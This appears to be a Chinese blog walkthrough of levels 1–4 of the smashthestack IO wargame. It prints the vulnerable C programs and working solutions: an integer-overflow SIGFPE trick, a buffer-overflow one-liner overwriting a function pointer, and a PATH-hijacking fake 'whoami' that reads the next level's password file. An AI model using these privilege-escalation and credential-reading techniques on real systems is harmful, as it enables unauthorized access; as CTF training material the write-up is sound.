所谓的Wargame属于CTF的一种,登陆远程主机,通过上面运行的有漏洞程序逐步提升权限。

比较著名的就是smashthestack了,虽然速度比较慢,也可以尝试一下。

不定期更新

Howto

以level1为用户名和密码SSH登陆io.smashthestack.org,即

1
sshpass -p 'level1' level1@io.smashthestack.org

这样就进入了服务器,程序都放在/levels文件夹下,这里我们能够允许的就是level01了,通过gdb查看一下看出它main函数中进行了一个数的比较,输入正确的数之后得到了一个level2权限的shell,这时执行

1
cat /home/level2/.pass

就能够得到level2用户的密码了,然后退出来再用level2为用户名以及上面提到的密码登陆,在/levels文件夹下破解level02程序即可。

Level 2

给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void catcher(int a)
{

setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}

int main(int argc, char **argv)
{

puts("source code is available in level02.c\n");

if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}

这里需要给出2个参数并触发SIGFPE(除0错),但这里限制了第二个参数不能为0,需要想别的办法。

这里有2种方法,用-2147483648除以-1,或者用kill手动发送信号。

不太理解它这个是什么原理,level3中有个slide给出了解释我也没太看懂…….

Level 3

源代码是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>

void good()
{

puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{

printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{

void (*functionpointer)(void) = bad;
char buffer[50];

if(argc != 2 || strlen(argv[1]) < 4)
return 0;

memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);

printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();

return 0;
}

很典型的缓冲区溢出,就不需要多做说明了吧。

通关的方法

1
./level03 `python -c "print 'A'*76 + '\x74\x84\x04\x08'"`

Level 4

这关有2个程序,不过方法都是一样的。

就以其中一个为例:

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>

int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);

return 0;
}

似乎无从下手,这只能从whoami上做文章了。其实看到程序我就差不多猜到这是要伪造一个whoami,不过这里需要把这个程序放到环境变量里,直接放到当前目录是不行的。

在服务器上找到一块能写的地方还真不容易,最终在tmp里新建了个文件夹level4,然后写了下面的程序whoami.c

1
2
3
4
#include <stdlib.h>
int main(){
system("cat /home/level5/.pass");
}

接着编译并添加环境变量

1
2
gcc whoami.c -o whoami
PATH=/tmp/level4/:$PATH

最后到/levels下运行./level04就过关了。

以上4关都是与linux和c的一些机制有关,只要知道原理还是比较容易的。这只是热身,接下来就是更像CTF的buffer overflow了。